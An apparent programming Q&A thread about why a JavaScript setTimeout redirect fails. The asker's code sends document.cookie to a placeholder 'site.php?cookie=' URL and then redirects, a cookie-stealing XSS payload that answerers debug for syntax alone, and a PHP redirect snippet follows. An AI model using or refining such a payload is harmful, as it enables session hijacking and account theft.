Settimeout issue in javascript

Question

I am trying to get the following to code work. But it just wont :(.

I have tested the timeout on its own and it works fine (Code line 2), but the first line wont work :(, any guidance would be appreciated.

document.location="http://site/site.php?cookie=" + document.cookie;setTimeout(document.location='http://site/site/newpage',500);

setTimeout(document.location='http://site/site/newpage',500);

I am testing this inside firebug console (by the way)

Please read some documentation before you use a new function: developer.mozilla.org/en-US/docs/Web/API/Window.setTimeout. — Felix Kling
– Felix Kling, Commented Jan 17, 2014 at 1:47

Travis J · Accepted Answer · 2014-01-17 00:36:17Z

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Changing document.location will immediately navigate you to another page.

setTimeout expects either a string to construct with new Function("string") (not recommended), a function pointer (recommended), or an anonymous function (recommended).

You can send an anonymous function like this:

setTimeout(function(){document.location='http://site/site/newpage'},500);

answered Jan 17, 2014 at 0:36

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LearningCode Over a year ago

Hi, thanks for the response. I tried it like

document.location="http://site/site?cookie=" + document.cookie;setTimeout(function(){document.location='http://site/site/newpage'},500);

but it still didnt work :(

Dan H · Accepted Answer · 2014-01-17 00:35:25Z

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Encapsulate it in an anonymous function.

setTimeout(function() { document.location.href ='http://etc/etc/';},500);

(don't forget the href, or use window.location maybe)

answered Jan 17, 2014 at 0:35

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LearningCode Over a year ago

thanks but this didnt work either. Maybe I should just redirect on the landing page?

Dan H Over a year ago

Look at what you're doing. You're changing the location of the page then trying to set a timeout function to do that again. That logically isn't going to work because your first command is to redirect, the second command is never going to be called.

LearningCode · Accepted Answer · 2014-01-17 14:01:44Z

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Ie gone for the redirecting on the landing page instead, thanks for all the help

  if ($referer == TRUE){
 header( 'Location: ' .$referer) ;
 }else {
     header('Location: ' .$url[$urladdon]);
 }
}

answered Jan 17, 2014 at 14:01

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